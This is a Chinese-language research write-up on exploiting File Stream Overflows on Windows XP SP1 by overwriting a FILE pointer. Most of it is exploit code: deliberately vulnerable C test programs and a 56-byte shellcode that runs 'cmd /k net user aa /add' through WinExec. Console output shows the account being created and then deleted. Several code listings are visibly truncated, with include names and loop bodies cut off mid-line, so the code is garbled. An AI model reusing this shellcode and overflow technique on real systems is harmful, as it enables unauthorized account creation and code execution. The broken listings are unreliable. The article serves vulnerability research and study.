Windows系统下的File Stream Overflows(FSO) 作者: Nanika Email: minjack.tw@yahoo.com.tw Nanika@seed.net.tw 前言: 看过alert7大哥所写的一篇一种新的File Stream Overflows(FSO),跟以往的利用方法都不一样, 使我觉得很有兴趣,便开始着手研究有关Windows系统的(FSO),在研究的过程中,遇到了很多的问题,所以就 写了这一篇,让大家一起研究讨论,顺便当作自己研究的笔记,程序都是我自己除错所写的,可能有很多错误 若有错误,敬请指正 原理: File指标,常用来开文件,在c语言中很常利用到,FSO则是要覆盖这个指标,有很多情况有可能会覆盖到这个指标 测试环境: WindowsXP_SP1中文繁体专业版 Visual C++ 6 Softice 覆盖例子1: 参考alert7大哥的范例改写一些地方 buf改小比较容易测试,另外直接把输入的地方把数值带入也是为了测试方便 #include int main(int argc, char *argv[]) { FILE * fp; char buf[16]; char buf2[28]={0}; int i; int j; fp=fopen( "fprintf.out", "w" ); i = (int)&fp-(int)&buf; printf(" fp addr %p point %p\nbuf addr %p\n len %d\n",&fp,fp,buf,i); for (j=0;j int main(int argc, char *argv[]) { FILE * fp; char buf[32]; char buf2[36]={0}; int i; int j; fp=fopen( "fprintf.out", "w" ); i = (int)&fp-(int)&buf; printf(" fp addr %p point %p\nbuf addr %p\n len %d\n",&fp,fp,buf,i); for (j=0;j unsigned char shellcode[]= "\x66\x83\xEC\x50" "\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08" "\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e" "\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0"; //56bytes //简单的shellcode使用winexec来建立一个账户aa //cmd /k net user aa /add //最后呼叫ExitProcess结束行程 //里面的api函数位置,在不同的版本,应该需要更改 int main(int argc, char *argv[]) { FILE * fp; char buf[1024]; char buf2[1028]={0}; int i; int j; fp=fopen( "fprintf.out", "w" ); i = (int)&fp-(int)&buf; printf(" fp addr %p point %p\nbuf addr %p\n len %d\n",&fp,fp,buf,i); for (j=0;jnet user \\HACKER 的使用者账户 ------------------------------------------------------------------------------- aa Administrator Debug Guest HelpAssistant IUSR_HACKER IWAM_HACKER Nanika SUPPORT_388945a0 命令执行成功。 C:\>net user aa /del 命令执行成功。 C:\> 我们成功的利用了File Stream Overflows,转跳到shellcode 结论: FSO的利用在win下,还是有很多的问题,因为这次的利用,需要很准确的知道buf的地址和ret的地址,但若是在 没有原始码下的测试,在利用上更增加了难度,虽然发现了可以写一段数据到任何的地址,但是还是没有办法 摆脱00结束字符,使得漏洞的利用,方法受到限制,我也还没有想到更好,更通用的办法,因为现在的漏洞利用中, 这方面的数据比较缺乏,需要个位高手的研究 参考文献 WindowsXP下暂存区溢位及利用FS:[0]异常结构处理 http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1756 by Nanika 漏洞利用的方法之研究 http://www.xfocus.net/article_view.php?id=514 by noble 一种新的File Stream Overflows(FSO) http://www.xfocus.net/article_view.php?id=512 by alert7 感谢各位的拨空阅读 thanks